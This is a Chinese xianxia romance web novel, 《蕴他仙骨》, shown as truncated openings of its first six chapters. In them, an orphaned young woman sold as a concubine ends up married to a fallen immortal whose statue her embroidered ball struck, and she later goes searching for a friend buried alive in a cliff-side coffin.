《蕴他仙骨》 1. 神嫁 《蕴他仙骨》全本免费阅读 阳春三月,淮河垂柳倚风拂,堤岸两侧人头攒动,远处更有宝马香车辚辚而行。 祝家藏暄阁。 祝岚香将绣球递予她,言语寡淡:“吉时已至。” 祝好依言环着绣球步至楼台,她向下眺望,但见阁下门堪罗雀,三两闲人只不过来此瞧她祝好的笑话。 她不觉丧馁,反倒自视颇清,阿娘因她难产辞世,爹爹没几年也相继离去,方连及笄定下姻亲的郎君也莫名暴毙而亡,淮城邻里视她为灾星,姨母也恨不得她早些嫁出去,好名正言顺地将她逐出祝家以便彻底吞没家财。 淮城之内,谁敢接她的绣球? 祝好侧过身,她两手托起绣球,暖风轻卷,将绣球镶挂的银铃吹得泠泠作响。 远处似有优伶将近,只闻箜篌丝竹渐入两耳。 罢了,砸到什么嫁什么。 祝好心下一横,遂将绣球往高处而掷。 绣球落至中空,末端一条鎏金色丝绦被劲风翻飞,耳畔有银铃乱音,更有丝竹齐奏。 遽然,只听一物什碰撞之音,周遭声息戛然而止。暖风乍停,忽现阴云蔽日,就连阁下看戏的散人都忍不住倒吸一口凉气。 祝好纵身,却见穿着怪异的游神乐伍从阁下盘踞至数里,众教徒面戴獠牙青面,身披窄腰宽袍,而她的绣球正落在众徒拥簇下的神像怀中。 神像箕踞于八人抬就的步撵,他双臂微拢,两掌相合间似在为民作福。他一袭月蓝长袍,头顶冠玉,通身虽为玉石所雕,却难掩神容俊秀。 “这……说她是灾星还真不冤枉,人是没敢接,倒是将绣球抛到堕仙像上。” “哎呀,要我说,祝家娘子生得倒是标致,就是这命数忒硬了些……” “前者克死双亲夫婿命格孤煞!后者忤天令弑贤弟不堪人道!灾星配堕仙!嚯!绝配!” 有人急着将他的嘴捂严实,“嘘嘘嘘,说什么瞎话?堕仙大人尚在呢!堕仙亦为仙!切不可冒犯!再者,他可是淮城守神,万不能这般说道!今年收成如何,还得靠上仙哩!” 似有道瓦砾划过石砖之音,众人闻声回首,却见上仙神容竟生出一道龟裂。 祝岚香见此亦是满肚子恼火,她将祝好搡进阁房:“你你你,你个灾女!你说你,没人敢娶便罢了,让你抛个绣球都能抛到那什子堕仙怀里,你们……我看你俩真是天造地设的一对!” 话落,一道滚雷从耳畔炸响,只一瞬淮城上空便雷雨共至。 “凡姨母所愿翩翩照做不误,绣球招亲翩翩亦不曾推却,可将绣球抛至神像怀中并非翩翩刻意为之。不是姨母告诉翩翩姻亲大事自有天定,让我抛到什么便嫁什么吗?”祝好指着楼外仙容生瑕,气度却越发出尘的神像,“那依姨母所见,翩翩是真要嫁给上仙了?” 翩翩是她的小字,如此自称倒显得祝好万分乖觉。 祝岚香脸色发青,她在众婢搀扶下越出阁房,步至旋梯时又听她落下一句:“他若真能娶你自是最好!” 又是一道惊雷滚过,正好擦着楼檐而下,祝好赫赤的裙袂被大风翻扬,她下意识旋身,两目正与神像用青玉雕琢的眼对上,且神像自生一股魄力将她压得难以喘息。 她不敢再看,赶忙提起裙裾追着祝岚香的步履离去,祝岚香见她跟上旋即言道:“我偏不信偌大的淮城没一人敢娶你,哪怕是街巷乞儿那也是个男人,待我寻得了,你可要依着姨母好嫁。” 祝好揣着急促起伏的胸口,依顺着答:“是,姨母所择自是良人。” 祝岚香行事倒也迅速,不出三日便给她寻了位“良人”,家中田产无数,然年过八旬。 她将祝好约至正堂,堂案上早已备上各色小食,平日里祝好是没这待遇的,她赶忙抓起一块枣糕就往嘴里送,咀嚼时又尽量克制自己吃得文雅。 “翩翩啊,你别看尤员外已近耄耋,可他宝刀未老嘛。再者,现下虽只是个妾,然他正妻已逝,徒留家中两子,哎,都说这尤员外素喜女娃,你嫁过去若给他生了个丫头岂不得飞上枝头变凤凰?正室也不过是尤员外一句话的事。” 照理祝好这时应当从一句“但凭姨母做主”,然她实在没忍住,“八旬?且不论尤员外的岁数,就单论尤员外的长子年方几何?恐都能做我阿爹的年岁了,更何况还是尤员外……” 她话未尽,祝岚香已将手中杯盏往地面怒掷,热茶裹挟碎瓷喷溅四散,几滴冒着热气的茶水正巧溅到祝好腕上,她疼得连枣糕都从手中脱落,只见咬了几口的枣糕在地面滚了一圈竟被祝岚香踩瘪了。 祝好暗道可惜,她方要伸手拿第二块,祝岚香却命婢子将堂案上的吃食一应收了,就连半盏茶都不给她留下。 “你这臭丫头如何跟长辈说话的?”祝岚香恼道:“前几日你将神像砸裂条缝,家中还得替你拿出二十两银钱修像,祝家布衣两坊生意素来惨淡,祝好!这可是整整二十两啊!尤员外只是岁数大了些,其余的……他要财有财,要房有房,再者,淮城上下又有几座家宅贵称为‘府’?尤员外的家尊可是上任京官哩!这等殊荣如何委屈你一介孤女了?” 祝好一噎,“所以姨母就用二十两把我卖给尤家作妾了?我年方十八,你却让我嫁给年近八旬的老叟?况且……当上京官的并非尤员外,他不过是沾了令父荣光,又有何吹嘘的?二十两,还望姨母给我些时日,我能赚的。” 耄耋之年,还想着纳妾?迟早醉死石榴裙下。 “你不愿嫁也得嫁!现下这世道银钱是这般好赚的?你个乳臭未干的丫头就别大放厥词了!你自幼孱弱,单是家中予你看诊吃药的银钱就不知几何!只尤家买你的二十两便够你喝一壶。”祝岚香冲堂外扬声吩咐:“小六子!二狗蛋!将小姐绑了!尤府派掌事来接前除了吃喝拉撒皆不准放她出柴房!” 祝好被奴役搡进柴房,门外也在一瞬落好了锁。如今,她溜出祝家只不到两层的胜算,祝岚香为防她遁走日夜遣派仆役在柴房口守值,哪怕祝好主动搭话门外的奴役也从未回答半字。 为今之计,只得维持精力寻找契机,府鬟每每给她送来的不过残羹冷饭,可祝好却如品食珍肴般尽数入肚。 不过两日,尤府便遣喜婆来迎祝好,她踏出家宅时檐下积水已近没过脚裸。说来也怪,淮城三月本该风清日朗,可自祝好绣球招亲淮城竟连着下足五日骤雨,若非今日雨渐歇了淮城恐遭淹城之祸。 祝好被众厮绑束手脚送进尤府车轿,然喜轿并非直入尤府,而是暂歇在城西的一间小铺,内有妆娘为她涂脂抹粉,且嫁入尤府的不仅祝好一人,另有与她同龄的女子唤作方絮因。 两人焚香沐浴后同入里间更换喜服,祝好不曾在方絮因面上捕捉到分毫伤愁,反倒似有憧憬。 方絮因将身上磨出糙线的裙衫褪下,她方抬 2. 婚契 《蕴他仙骨》全本免费阅读 祝好听言只觉好笑,“胡诌,淮城内除去将入土的老叟,又有哪家公子敢娶我?” 言间,郎君手持铃兰花伞行至她跟前,他与祝好仅距一臂之隔,此人身量颀长神清骨秀,祝好个头不低,却得仰头瞧他。 他玄青里衣外罩鎏彩长衫,襟口松散见喉颈一点红痣,腰束玉带衬得肩宽腰窄又不失劲力。四下烛光微弱,他却流光缭绕一身清贵甚有仙人之姿,祝家以布坊制衣为营,她却头回见此衣料。 祝好仍未瞧清他面容,可依如此身姿遂可断定伞下绝非凡容。 郎君哂笑:“三月廿二,未时三刻,你将绣球掷于本仙像上,神不可欺世人,本仙自认倒霉。” 祝好脱口而出:“有疾就医……” 话未尽,郎君手持的花伞在一瞬化为齑粉,微雨落祝好满身,却未近他半寸。 他语气不耐:“嫁或不嫁?” 祝好见花伞在霎时火灭烟消,却更惊诧于他的姿容。 郎君眉梢微挑,发束白玉簪,通身如润玉般松风水月,然他凤目凌厉负有杀伐,他雅洁清气偏嘴有讥笑,面上的愠气更是不施遮掩,他欲娶她,却是一副不胜其烦的倦色。 淮城面如冠玉的郎君不少,可及他这般身量容姿的仅用五指遂可数清。 祝好惊觉在何处见过他,她凝然思忖,竟发觉眼前人与神像真有几分肖似。 他向她迈进一步,祝好周身雨骤歇,确凿言之,为雨幕被隔阂在两人开外,而数尺外幕雨依旧。祝好思绪飘然似入梦魇,她极力将眼前发生的异事相连,而她身前端伫的郎君……尤为诡怪。 有风来,将祝好半挽的喜盖掀飞,喜盖恰巧落在那人肩头。他抬袖扫去,只用白玉绾的青丝于长风缱绻中抚过她的颈,他面上不喜,只一偏头风即息止。 祝好缓退数步,使得腰肢撞上轿杆,她疼得俯身抱腹。祝好离他将远,雨幕即扬她身。 是霏雨,将她婚服润得软和,祝好用两袖抹去面上黏稠,又将睫羽水珠拂去。 再次睁眼,那人又仅离她两步间隔。 潇潇幕雨遂离她远去。 她欲再退,轿杆却直抵腰间让她进退维谷。 祝好向来不信鬼神佛陀,然视尤府静滞家丁,道骨仙风更掌神技的郎君,数此奇像,她又不得不信。 祝好竭力维系镇静,她佯装从容道:“依你方才所言,你……你是……” “淮城折哕斋所供玉像你当知?城众贵称之的神像,即是本尊。教徒逢年三月廿二举像游街,他们燃高香祭蔬肴游淮街,他们祈城民顺遂康泰,祈田地沃腴丰登,祈数世同堂子嗣绵延,然游街那日,你……”他言此面显愠气,却已倾力予她怡颜悦色。 他从空无所物的掌中化出一物什,待祝好看清不免愕然,郎君掌间正是她那日抛下阁的绣球,照理绣球应已被姨母焚毁才是。 祝好于折哕斋神像的典故有所耳闻,然她不信鬼神对此亦不甚留心。只知这尊玉像已在淮城供奉百余年,此神穷凶极恶,是邪神堕仙,然则无人祭他淮城定临天灾,百年来概莫能外。 祝好有疑,他既已为百姓化去天灾,又何至称之邪神堕仙。 郎君将绣球回掷祝好怀中,她赶忙接着,“对不住,若郎君贵为真神,确是祝好冒犯仙君,可小女并非有意将绣球掷于您身上。” “如今言此有何大用?”他从袖袂中取出一纸文书及大串锁匙,他当先将文书摊开递予祝好。 祝好细睹,见是一纸卖身契,左下角题得正是她祝好的名,更上亦有祝、尤两家的私印。 “立契约人,祝家女于朝华二十五年,自立以纹银二十典于尤良……” 那人纠正:“琅。”他好似怕她不大明白,遂添道:“意为华美清洁之玉,亦可作拟音。王阑的诗可读?山皋录中正有篇以琅字题拟。” 祝好不读了,“晃眼看岔了罢。”她自顾自咕囔:“世道维艰,神仙方需熟书……洁清美玉,就那老叟?好色不说,惯会欺压百姓,他仗着父亲为官作威作福,倒是脏污此字,我才不读。” 郎君不语,面色寡淡。 “书契是从尤琅长子手中正道赎买,你不必忧心被尤家寻回。”他摇曳指尖锁匙,“此为淮城南巷的一处家宅,地契我已收置正院。如今你有两项抉择,其一,家宅与卖身契归你,此后你将不受何人钳制,你会有自己的过活,无人扰你,我亦不会,但你得嫁我。” 祝好:“其二?” “现今你大可旋身遁走,我让你三炷香。若我未寻得你,家宅与人契归你,你仍是自由身,此后我亦不扰你,自然,你更不必嫁我。” 祝好胸口莫名一股胆颤,“倘若……我被仙君逮着会如何?” “倒也不是什么大事。”他从祝好指间回抽卖身契,作势要撕:“有得即有失,世间两法本就难以双全。宅院与人契皆空,祝小娘子仍要嫁我。” “……”好生强横。 祝好惯会耍些小聪明,嫁给八旬老叟还是嫁给俊美仙尊她总能拎得清,且她势单力薄,八层逃不脱他的掌心。既如此,何不乖乖就范划清立场,也能不费吹灰之力夺得卖身契。 “敢问仙君,其一里的你亦不扰我是何意?我既要嫁予你,同一宅院三天两头总得碰面。”她言罢复又举目瞧他神色,不想四目竟撞个满怀,见他正端量自己,祝好张惶伪饰道:“并非小女讨嫌仙君,而是怕……怕自己冲撞了仙君。” 显见他不愿答复此番疑题,只闻郎君短叹,这才听他直言:“你我只需拜堂,自此你想如何便如何,你我亦不复相见。若你有欢喜的郎君亦可与他相好,独独不可再嫁,即便你与他同吃同住我亦不言半字,只要他无名无分,只要你我尚未和离,哪怕豢养一屋面首也无足挂齿,我予你置办的宅院可不见小。” 祝好怔愣:“仙人玩得皆这般花哨?” 她足以低声细语,奈何那人一字不差皆入两耳。 他假作不曾听闻,只又问了句:“如何?祝小娘子可思虑清楚了?” “自然择其一。” 她祝好再怎么选也无从吃瘪。 郎君神色惬心,眉眼间的愠气亦殆尽。祝好正待询他何时至家中下聘,更欲他讳饰神尊身份,不若吓着旁人,将此事暄腾总归无益。 他眉峰轻挑,再次敲定:“你当真择其一? 3. 赌他 《蕴他仙骨》全本免费阅读 祝好明知他存心调侃,然她缄默半晌只挤出三字:“轻……轻点。” 宋携青:“……你以为,我要作何?” 祝好尚未答,已然被宋携青拽至近旁,后拉过她的小指往他右掌倾力摁去,祝好见指尖染上他的血迹,旋即殷红的指印被盖在鸾凤金纸的署名上,宋携青方才松开她。 “我以为……”祝好自知理亏,声调不觉放低:“是我以小人之心度君子之腹。” 她竟以为,他会报复她? 宋携青亦将指印盖在署字下方,婚契即成,他将右掌盘绕的衣布揭落,祝好亲眼得见他的伤处在瞬间愈合。 祝好极力维系镇静,他本就并非常人。 就在此间,他忽然扬手往她额上轻抚,“化厄。” 祝好不敢擅动:“……花鹅?” 上方传来话音:“尔尔凡体却欲弑神,不出三日定遭反噬。” 祝好百口莫辩:“我……” 他知祝好意欲何言,不过是为自己争辩,遂将她的话头止断,预先接道:“念你初犯,遂以婚事相抵,仅此一次,下不为例。” “婚书劳祝小娘子收存,我以血水作印色,倘你再嫁亦或撕毁,你即同婚契一齐灰飞烟灭。”他倾身,青丝掠过她肩,宋携青声挟趣意:“前有自家留难,后有横祸将至,你虽存小智却难抵大恶,再许……先天心脉恐不足,幼年更是体孱羸弱,本君瞧祝小娘子倒似被人贩拐尚需替其点财,你罢,竭力过活,喘息一日是一日。” 话落,乍闻叮铃,原是他将宅院锁匙连同卖身契落掷长街之音,街面坑洼蓄水,契书虽铺至其下却未见湿。 祝好翘首四顾,已然不见他影踪。 前有自家留难,后有横祸将至?存小智难抵大恶也?他明里暗里无不讽她苟存残喘。 他撇去仪貌不谈,所言所行与仙人八竿子打不着,邪神堕仙倒是当之无愧。 婚书墨迹已干,祝好将其收入怀襟,又俯身将丢掷一地的文钱匕首捡拾,最末才将宋携青留下的身契锁匙统收囊中。 淮城连雨至今夜终歇,长街雾气渐浓,远处游来打更人敲击竹梆之音。 祝好忽闻身侧窸窣,长街两道本静伫的家丁已解桎梏,然众人却失魂魄一般,仿若未视祝好,一行人只顾抬举空轿往长街而去。 她取出宅院锁匙,概略清数竟至二十余支。 宋携青曾言宅院落座南巷,却未言明详尽所在,她正苦于今夜落住何处,掌中却觉一股灼烫。 她低头,见锁匙发散透浅碧光,祝好松开五指,锁匙凌空而起,似如方才砚台般浮于中空。 祝好心有所望:“可是他托你为我指路?” 锁匙自然难以言喻,然它却往左侧偏移,见祝好跟上步履,方才续而引路。 已近子时,长街只见个余散人,祝好本欲替钥环掩蔽,却觉常人不可易见,遂其放任凌空。 祝好绕过街巷,行足七曲桥,得见香樟木门钥环终才滞足,她伸出掌心,锁匙落定,碧光亦散。 祝好顺着香樟木门环视周景,不免怔愣。 正门而下长阶彼伏,庶民住第寻常不作外梯,然见此宅近丈高阶遂知并非俗第,末阶匍匐两尊望兽,似狐似豹祝好不好断言。她未以匙启门,正门却自行而敞,院中灯火亦在倏忽间昼亮,透过半掩的门扉可见里宅布景奢华。 主门匾额题书:松鹤居。 她知此宅,前身为世家别第,现今已被官署收作己用,多为招待京官。 宋携青……竟是将此奢宅置购予她? 祝好自以绣球抛得好极,然此念头仅现须臾遂已掐灭,宋携青来时神情历历在目,他是恨不得送她下阴曹地府,她万不能生出这等杂念。 宋携青曾言将房契归置正院,她而今确是无家可依,唯有于此落脚。 她踏足长阶,越行高槛,内虽燃烛,可因深宵所视含混,只可见宅内依稀亭台楼阁画栋飞甍。 祝好不知绕行几多歪路,只又穿过垂花门才视青瓦白墙堆就的一方阔院,门匾所题:含琅轩。 此院较之别庑更甚僻静宽敞,似为主院。她推扉入里,内室膏烛忽燃恍如白昼,祝好心生几许怵意。 里屋陈设精简不缺居品,所用质料亦属上称。她环视探寻,果真在案台瞧见一纸文书,祝好凑近细察,是为房契。 祝好将其收入内室箱箧,单是宋携青将她身契从尤家赎回已是深恩。 她抚襟中婚书,依她如今的名声也难逢称心郎君,嫁娶之事于她而言本就空谈,宋携青更言她若再嫁亦或撕毁婚契定同其火灭烟消。 不过此生不嫁,并非要事,她大志亦不在此。 祝好身上剩存二十余钱,祝家产业虽被姨母收入己囊,然爹娘辞世前曾为她备下一笔嫁妆,方连祝岚香都不曾知悉此事。祝好之所以乖觉听从祝岚香以绣球招亲,正是防于祝岚香再以她年纪轻不喑事为由将嫁妆占为己财,毕竟爹娘名下的铺子便是被她此般私吞,若她已嫁,这笔嫁妆祝岚香就再无由头掌手。 祝好筹划明早返祝家取嫁妆,待她安顿下来,便将此宅归还宋携青,以爹娘留下的嫁妆开家衣铺,如此她方能坦然度日。 所幸她自小从阿爹手中学授的绣艺针活不曾荒废,得闲时亦照着书志研练,应当不成问题。 祝好思绪渐长,她遐想衣铺能得淮城女郎的青眼,遐想以爹娘留给她的技艺自立门庭,更遐想属于她的锦绣浮生,如此逸想,她竟栖伏案台酣睡过去。 翌日春晖万道,她推开轩窗喜迎第一缕阳,动作间匕首从袖袂滑落。 祝好俯身拾起,见此刀刃平滑因属新制,刀身更是独钻尾指大小的一孔,细看孔洞沿边甚有齿轮与宋携青干涸的血印。 祝好胸口狂跳,她竟以此划伤宋携青,险些将自己的小命平白断送。 幸而,她于他而言尚存小用,然则……他必定不会轻饶于她。 祝好以袖净刃,她头回见此独异短匕,于方絮因而言许是珍物,不若怎会随身携带。 尤府与祝家刚巧顺道,她便将其还予方絮因,横竖身契已在她手,尤家人方能拿她如何? 祝好循着昨夜来路出走,小院天朗气清小池潺潺,景致甚是风雅。此等居落在淮城可谓独有,只惜人气萧条,宅院花木凋败,主门一株百年若木长势蔫蔫。 南巷多为淮城勋贵所居,故此宅与尤府不过半炷香的路程。祝好行至途中忽闻丧乐入耳,丧葬仪队于长街而入,竟同期行列两具灵柩,首柩以金丝 4. 共焚 《蕴他仙骨》全本免费阅读 神像未题主名,唤法倒奇多,因是淮城地仙故尊淮城守神,简称淮仙。平日亦不乏城民唤宋携青作仙尊上神,不敬些的……堕仙、魔神亦是常有的。 为何城众对宋携青见地两极分化,祝好却是不知其间缘由。 折哕斋虽小,然修缮精巧,瓦砖所雕纹缕皆迥异,进得外扉但见翠竹环绕,入主殿尚需拾九十九层阶。 祝好至顶已是汗流浃背,飞檐高耸云间,白玉杆相映日辉惹她目眩,璇墀直入正殿,她越行高槛遂见宋携青玉像正置供台。 烛光熹微,长案呈瓜果馔点,淮城仅此堂庙,称其为堕仙魔神的百姓多至临城寺庙祭拜,折哕斋平日倒显清寂。 祝好切近神像,像高三尺,因置供台她需仰瞻,她觑神像额间横卧裂隙,正是那日祝好以绣球所砸。 “仙君?”祝好有意试探,如她所料,无人答她。 她不甘作罢,复唤:“宋仙君?” 未感风临,祝好却见长案烛火忽明忽灭。 他不愿理睬,亦在祝好所料之中。而她至此,并非将宝全数押在宋携青身上,折哕斋与淮岭顺道,若她未能得见宋携青,她可即行淮岭。 祝好双膝落跪蒲团,两掌相合,万般虔诚,“良民祝好,本不欲搅仙君清梦,今日实是遇得难处,我……我想见仙君。” 是他不愿见她,还是此地根本不能与他相通? …… 九重天。 一方小院落座云雾,此为天界僻静处。 宋携青方沐浴,青丝濡湿里衣松垮,外以雪松春衫披就,他眉间因水汽晕得似江南里的一场烟雨。 他枕进云雾,手中幻化白玉瓷壶,仰首饮酒。 方啜一口,宋携青眼风扫见斜里徐徐而来的池荇,他慵倦道:“今日又是因何寻我?” 池荇眉眼舒朗,不答反问:“青天白日,怎的无端洗浴?” “无端?身染风尘,自是需净。” 池荇闻言挑眉,“携青君久未临乡,此番而行,该当流连故里,竟是我多虑了?” 宋携青不语,闷声浅酌。 池荇见此长吁短叹,宋携青惯是如此,不论对他亦或天界诸神皆以寡言相待。 他想与宋携青增进关系,再怎么着,宋携青与他皆存几分血亲。 池荇踱至宋携青近侧,他以指在虚无处捻诀,空中立时幻出一方阔镜。 镜中忽映少女身影,她于神像前作信徒,呢喃祈禳。 “你可知她在寻你?” “自然。” 简明两字,遂将下文扼消。 池荇不甘于此,故问:“携青君只闲卧观戏?” 宋携青好笑地看他,持壶的五指因施力泛白,“婚书既成,神祈遂该自解,我已然娶她,还不够?” 池荇有一瞬理屈词穷,他稍作思忖,顺宋携青所意而言:“我并非此意……你与她存隔阂固然不错,终归你已非凡身,自该趋避尘寰。” 神不可欺世人,然则定临天罚。 宋携青本为凡人所化成神,更受人间香火,所应之事不可存有愚弄,人间三月廿二正逢淮城游神,女娃娃竟将绣球掷于宋携青神像怀中,是以触发神祈。 不得已,宋携青只好涉足尘寰相娶。 池荇知他分外抵触,足足拖至末日方现身与她结愿,事毕遂对女娃娃置之不理,仿若宋携青从未识得此女。 池荇精意覃思忽察异处,宋携青此人最是嘴硬心软,怎会当真如磐石不动?他若如表面冷情,百年前何故以己身换百姓免于暴乱? 两人皆缄默,镜中仍映折哕斋景致,忽见少女迫近神像,以袖轻拭神像额鬓,继而愈挨愈近,竟将神像全然掩蔽,以宋携青与池荇的方位而视,她竟欲…… 宋携青蹙眉,面显不悦,心头更是无由浮躁。玉像虽非他真身,然与他到底肖似,再言名头确是他无疑。 池荇见此,方欲探宋携青是何神情,甫一旋身,岂知他已然未见所踪。 …… 祝好本待离去,奈何外头忽卷长飙,更是将浮尘吹至神像玉面,她只好踮高脚尖,以袖轻拭。 如此近距,她遂将神像额鬓的裂隙觑得分外明了,她见神像所沾尘屑已净,便以指衡测裂隙尺寸,长短与她将指相近。 玉像本就难以修葺,何况此玉色泽透润通身呈碧青,肉眼几不见纹瑕,定非俗玉。折哕斋神徒仅收祝家二十两银倒显仁义,想来修缮之法亦不见眉目。 祝好思及此,不由得挨拢神像细观裂隙走势,全然不知己身与神像玉容几乎覆近,她气息拂于神像,自后方所视,仿若祝好与神像两身相叠暗昧难分。 祝好欲探裂隙宽窄,指尖尚未移其处,她的后脑竟被人以掌相掴。 祝好原地腾高,怒气值飙升,她方旋身而视,两眼却溢华光,胸脯肝火急速降至消殒。 “仙君!” “你作何?” 祝好襟怀坦白:“我见仙君玉像蒙灰,遂以袖袂而净。” “拂拭何须如此近距?” 祝好怔愣,方察宋携青里衣松散隐约可视其间肌骨,他披发濡湿喉结滚落冰珠,仿若仕女图中方出浴的清冷美人。祝好面上莫名焦热,她未敢细觑,仓促将视线从他身上游移。 她猝然顿悟,惶惶解释:“仙君莫要误会,我并非亵渎仙君,我……我见仙君额上裂隙,想着寻何妙法可将其掩饰,故而挨得近些。” 祝好不待宋携青相言,她已缠着五指嗫嚅道:“仙君,你可否略微……襄助于我。” 宋携青知她所求为何,遂决断道:“祝娘子,你可听闻生死有命?我虽非凡身,然尘寰命数绝非任我所掌。世间之众,生死命数已于投生转世前敲定,她今日命格若已定生死,莫说本君,天界诸神恐难解其难,若命格殒期并非今日,纵然祝娘子视若无睹,她亦可保全性命,你可明白?” 果然,她所行之事皆难逃他眼。 可祝好不明白,凭何生死命数皆定?凭何生死命数不掌己手?生死命数富庶与否,不该由己定夺?不该由己造化? 只因凡胎,遂只配作天道玩物吗? 她对此分外唾弃,然面上却乖顺恭敬,“我明白,可我并非求仙君襄救方絮因。”她抽出袖中匕首,“此物于絮因而言尤其珍稀,若她命绝,有此珍物相陪倒也安然。几日前,我将银钱暂留絮因令她替其收存,我如今正缺银两过活,遂欲取回。再言,絮因家中徒留老母,我亦想替其问安,或可抚她心中所思,然我却不知其间住址。” 宋携青面显轻笑,他嗤道:“ 5.悬棺 《蕴他仙骨》全本免费阅读 凝棠坊已承百年,可视木漆磨损,装潢败落。作坊虽隘,然每日坊间皆列长队,逢得佳节时,买客更是由门扉候至七曲桥尾。 祝好生怕需候多时,然疾行至坊前,竟不见其余买客伫候,反倒遂她所愿。 她甫行近,遂闻糖香萦鼻。掌柜年近古稀,他两目浑浊患有眼疾,所视不大明晰,亦未将祝好的一身狼狈映入眼中。 掌柜偻着背,露出残缺的牙口笑得慈蔼:“小姑娘,要什么哩?果脯、杏酥、饴糖多得哩!” 祝好闻此木然,倒未问及宋携青喜味。 祝好见雕花食匣所盛各色香糖果子,她只好含混道:“老伯,我身上只携三十文,你便各味皆取些,莫超就成。” “得嘞!” 趁掌柜替她装裹香糖时,祝好脑际忽闪方才诸景。 她再眼拙亦晓宋携青对她分外厌倦,虽如此,他却只得强压心中怨怼与她作名头夫妻,可见婚契于他之重,祝好正是看透其间弯绕遂以婚契相胁。 未想,此卑劣之法于他竟是无用。 宋携青宁可与她共陨也不愿受她桎梏。 祝好并非不通情理,她自知方絮因生死命数与宋携青毫无干系,他更无需为此琐事相协于她,祝好更无意与他对立。既是压赌,赌的又是宋携青这尊大佛,自然有得亦有失。祝好见此法不通遂欲择淮岭而行,却因折哕斋长阶陡峭,她一头栽了下去。 宋携青偏让她来此买劳什子香糖果子。 大老爷们,吃什么香糖果子? 因此变故,不知又得消去她多少时辰。 掌柜已将香糖果子装毕,外覆油纸,纸表拓图景。 祝好接过细觑,不由问道:“纸上所印可是西皋?” 掌柜面褶因笑相叠,他得意道:“是哩!俺孙女所绘,俏得嘞。” 祝好手抚油纸,凝棠坊与西皋倒是顺路。 电光火石间,她忽生谬论,将三十文钱交与掌柜遂疾行过街,方连裹好的香糖果子落于坊案皆未所觉。 徒步西皋需得一个时辰,何况她因长阶滚落肢体创伤,额间更是磕破一道血口,如今正逢脑胀,脚下步速自然不及往昔。 祝好曾想至官署报案,然思尤家势众,不少地方官与尤家皆存往来,不宜打草惊蛇。 她猝然忆起,因幼时常服药引,遂知仲春堂常至西皋寻药株,前些日因淮城骤雨定未及上山,今日金乌高悬,正适此行。 祝好为己拾掇,复将额间凝血拭去。她先至仲春堂,果见几名药农套马正欲赴西皋,祝好以为己寻药至诚相求,正逢主领药农与其父相识,遂让祝好与其同行。 祝好境遇众人自有耳闻,小姑娘寄人篱下缺银置药,出此下策亲历而行不难理解,何况祝娘子自幼靠药引吊气,于诸多药材已有所解。 祝好轻吁,幸而祝岚香将她卖入尤府作妾,复被宋携青这名“外埠勋贵”赎身之事未及扬传满城,然则她真不知该如何圆事。 随车舆而行至西皋只需二刻,众人途中巧遇尤家丧葬仪队返程,祝好心生希冀,她所悟不错,尤家果真将灵柩掩于西皋。思及此,若非宋携青命她至凝棠坊,祝好彻悟他意,反之她恐已行赴淮岭。 宋携青倒也并非如表面冷情。 药农只至西皋半腰,此处常行药师猎户,尤家自是不应将灵柩埋于此,祝好遂辞别众人,只身而上,众人虽疑祝好寻庸常药株何须高攀,却不多管束。 西皋上腰地势险峻,罕见城民踏足,因此路径不显,春草葳蕤。 祝好探见几尺地外草茵凹陷,黑垆土因骤雨尚且松软,更有履迹显现,她遂循残迹而行。 绣履裙裾因在山中梭行沾上土垢,鬼钗草顺势攀附她衣,惹祝好肌肤刺痒。 她步至一方石穴前,履迹遂消。 穴外横草断枝,显然近日方修伐。 祝好矮身远眺,穴内黑魆一片,不可视其景,然依残迹所寻,丧葬仪队八层途径此穴。 她心中自是犯怵,然忆起与己身境遇相同的方絮因,正所谓惺惺相惜,她只得咬牙迈步。 她偏不信劳什子天道。 祝好为行动简便遂将裙袂缠至腰肢,她深吸一口气,后摸岩壁而行。穴中伸手不见五指,她脚踩泥地所行极艰,更有洼地水坑阻步。祝好忽觉面部刺痛,该被穴中荆棘所划,她只好以衣袖稍捂缓进。 天光自外倾泻,刺她双目,祝好终越石穴。 穴外竟是一方崖地,然地表并非黑垆土,多是岩地,罕见草木。 岩地难凿,况且祝好放眼望去,并未见得开掘痕迹,尤家灵柩并非掩于此。 祝好瘫软在地,她的腕处、面颊皆遭荆棘划蹭,虽不大疼,却备受熬煎。 她不甘心,强忍满身疲倦撑地起身,她不信天道,只信己身。再者,若她此行亦是天道所旨呢?她又怎可畏缩。 既然此地无果,她便折返寻迹。 祝好欲转身,眼风却见崖际长着颗歪脖子树,枯枝所挂素色布绦,成色尚新。 祝好心中擂鼓齐鸣,她踱步崖边,奈何枯枝已伸至悬崖外侧,她两手未能所触。 她紧攥胸襟,稳住打颤的下身将头颈探出。 只见崖壁陡峭挺拔天地,更有枯枝嵌石乱眼,四周青山环绕,孤峰对立,祝好向下眺望,呼吸倏滞。 五六丈下,峭壁嵌入粗木作底,上置两幅棺椁。更下遂见云雾障目,无底之渊,此为悬棺葬。 祝好欲退,肩处竟被人以劲力相推,她顺势跌崖。 她心魂仿若未栖己身,只空余一具肉身急速下坠,朔风刮面,她所视天旋目晃。 祝好脊背钻心砭骨,下唇因受痛不觉咬破,热泪与唇瓣血水相融汲襟。 她身落以粗木作底的葬崖。 她苟活至今,却不乏有人盼她身殒。 祝好抹尽泪,哆嗦起身,所幸木桩间距较密,谨慎迈步未成问题。她见旁侧对立两幅棺椁,祝好扶着峭壁缓步至寻常棺前。 祝好拍击棺木,“絮因?” 她反复如此,皆未闻所答。 她尝试以力推盖却未见其效,这才发觉棺盖四角皆以指尖大小的钢钉嵌入,无怪祝好施以极力,却不见其盖撼动毫厘。 祝好虽未往下觑,然心中畏惧近乎将她吞噬。祝好扶着棺木,另从袖中抽出方絮因予她的匕首。 匕首上的孔洞与棺盖钢钉大小一致,祝好将匕首孔洞嵌入钢钉,孔洞上的齿轮自然地将钢钉吸附。祝好试着借匕首相拔钢钉,纵然吃力,却可见钢钉正滞缓地探出棺木,仿若这两件物什本就是匙与钥。 世间怎有如此巧合? 祝好想起宋携青讽她的那句“被人贩拐尚需替其点财”,倘若她未将绣球抛至神像怀里,宋携青更未从尤家将她身契赎回,如此,躺在棺椁里的,不就是她吗? 方絮因若非事先知晓此事,怎会锻造如此绰刀? 她手上持匕的力道不由加重,利刃划破祝好指尖,她鼻间酸楚直冲感官,祝好再也难捱身心两重绞痛,扶着棺木嚎啕恸哭。 天际群雁掠眼,她却只身坠于崖间。 祝好眼视棺木,她尚有 6.坠崖 《蕴他仙骨》全本免费阅读 此匕虽专为开棺所锻,操作起来却相当费劲。 不只如此,利刃边沿极易划伤持匕者的指腹。祝好方以此匕拔出棺盖两角钢钉,两手已是鲜血淋漓,她的气力近乎耗尽,胸脯因喘息剧烈起伏。 